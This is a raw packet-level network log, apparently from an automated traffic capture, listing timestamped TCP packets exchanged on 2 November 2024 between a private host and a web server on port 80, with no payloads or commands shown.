Nov 2, 2024 07:16:12.186467886 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.186472893 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186489105 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.186496019 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186506033 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186516047 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186517000 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.186544895 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.186624050 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186634064 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186642885 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186659098 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186664104 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.186671019 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186681032 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186683893 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.186691999 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186703920 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186717033 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.186721087 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186727047 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.186732054 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186743975 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186757088 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.186759949 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186780930 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.186784029 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186822891 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.186836004 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186845064 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186866999 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186877966 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186878920 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.186919928 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186923981 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.186932087 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.186959982 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.187007904 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.187017918 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.187027931 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.187038898 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.187058926 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.187072992 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.187200069 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.187210083 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.187221050 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.187233925 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.187243938 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.187243938 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.187285900 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.187386036 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.187403917 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.187416077 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.187431097 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.187464952 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.187503099 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.187514067 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.187524080 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.187535048 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.187546968 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.187549114 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.187556982 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.187567949 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.187568903 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.187580109 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.187588930 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.187602997 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.187625885 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.187649965 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.187659979 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.187683105 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.187693119 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.187700987 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.187705994 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.187731028 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.187748909 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.187824965 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.187876940 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.187917948 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.187947989 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.187961102 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.187978983 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.187989950 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188007116 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.188025951 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.188066959 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188076019 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188085079 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188096046 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188106060 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188116074 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188117027 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.188132048 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188138008 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.188148975 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188157082 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.188165903 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188175917 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188186884 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188189983 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.188195944 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188205957 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188209057 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.188216925 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188227892 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188240051 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.188258886 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.188268900 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188277960 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188287020 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188299894 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188309908 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188311100 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.188321114 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188328028 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.188332081 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188353062 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.188380957 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.188397884 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188406944 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188424110 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188435078 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188442945 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.188452005 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188462019 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188481092 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.188500881 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.188503027 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188514948 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188553095 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.188694000 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188705921 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188714981 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188743114 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.188749075 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188760996 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188770056 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188786983 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188796997 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.188803911 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188815117 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188822031 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.188827038 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188838005 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188849926 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.188855886 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188862085 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.188865900 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188877106 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188888073 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188904047 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.188931942 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.188942909 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188958883 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188968897 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.188996077 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.189014912 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.226584911 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.226594925 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.226602077 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.226644039 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.226655960 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.226660967 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.226795912 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.226867914 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.231834888 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.231899023 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.231909037 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.231918097 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.231929064 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.231940031 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.231955051 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.231982946 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.232023954 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.232084036 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.232095003 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.232105017 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.232115030 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.232127905 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.232134104 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.232144117 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.232148886 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.232153893 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.232181072 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.232183933 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.232194901 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.232194901 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.232204914 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.232223034 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.232234955 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.232244968 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.232248068 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.232269049 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.232274055 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.232292891 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.232321024 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.232331038 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.232358932 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.276637077 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.280424118 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.280436039 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.280446053 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.280479908 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.306915998 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.306956053 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.306967020 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.306978941 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.306988955 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307005882 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307015896 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307028055 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307032108 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.307038069 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307049990 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307060003 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307090044 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307100058 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307110071 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307137012 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307147026 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307188034 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307190895 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.307190895 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.307190895 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.307198048 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307208061 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307219028 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.307225943 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307235003 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.307235956 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307246923 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307254076 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.307301044 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307317019 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307328939 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307331085 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.307339907 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.307343006 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307368994 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.307585001 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307595015 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307626009 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.307722092 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307732105 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307743073 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307754040 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307758093 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.307765961 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307777882 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.307802916 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.307830095 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307840109 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307890892 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.307918072 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307928085 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307938099 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307949066 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.307962894 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.307981014 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.307986975 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.308048010 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.308088064 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.308243990 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.308307886 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.308319092 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.308362961 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.308469057 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.308479071 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.308489084 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.308499098 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.308511019 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.308511972 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.308521032 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.308532953 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.308538914 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.308543921 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.308569908 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.308573008 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.308583975 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.308620930 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.308648109 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.308657885 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.308667898 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.308680058 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.308686972 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.308701038 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.308873892 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.308885098 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.308895111 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.308906078 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.308912039 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.308933973 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.308945894 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.308962107 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.308973074 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.308984041 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.308984995 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.308995962 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309007883 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309009075 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.309020996 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309031010 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.309031963 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309056997 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.309114933 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309130907 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309142113 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309154034 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309155941 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.309165001 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309175968 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309180021 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.309190989 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309205055 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.309209108 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309222937 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309230089 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.309232950 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309246063 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309256077 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309256077 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.309267998 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309281111 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.309282064 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309293985 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309302092 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309304953 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.309312105 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309323072 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309329987 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.309334040 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309345007 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309357882 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.309376955 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.309505939 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309545994 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.309573889 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309585094 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:12.309622049 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:12.309808016 CET	80	63806	208.109.77.116	192.168.2.4
